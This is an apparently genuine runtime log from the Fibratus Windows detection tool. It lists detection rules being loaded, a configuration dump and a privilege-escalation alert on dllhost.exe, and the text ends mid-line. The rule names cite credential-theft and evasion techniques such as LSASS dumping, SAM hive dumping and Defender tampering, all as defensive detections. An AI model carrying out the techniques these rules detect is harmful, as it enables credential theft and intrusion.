C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:44:50+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:44:50+01:00 level=info msg=bootstrapping with pid 20924. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:44:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 enabled=>false content-type=>text/html to=>[] use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-vamap=>true enable-dns=>false stack-enrichment=>true enable-handle=>false enable-registry=>true enable-thread=>true max-buffers=>36 enable-audit-api=>true enable-threadpool=>false enable-image=>true buffer-size=>512 enable-fileio=>true flush-interval=>1s enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 level=>info formatter=>text log-stdout=>true] + output ......................... [ http=>[ endpoints=>[] enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json method=>POST] elasticsearch=>[ gzip-compression=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 healthcheck=>true template-name=>fibratus flush-period=>1s timeout=>5s trace-log=>false healthcheck-timeout=>5s enabled=>false sniff=>false] amqp=>[ passive=>false vhost=>/ enabled=>false routing-key=>fibratus delivery-mode=>transient timeout=>5s durable=>false exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ enabled=>false read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s skip-files=>false fastscan=>true skip-registry=>false skip-mmaps=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:44:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:44:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:45:12+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 807745 + Pid: 18668 + Tid: 21432 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:44:59.0856145 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b8b82dda0, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b84e720f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 21432, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 18668 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T16:45:12+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 807745 + Pid: 18668 + Tid: 21432 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:44:59.0856145 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b8b82dda0, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b84e720f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 21432, type➜ File + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 18668 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T16:45:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:45:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:45:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:48:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from 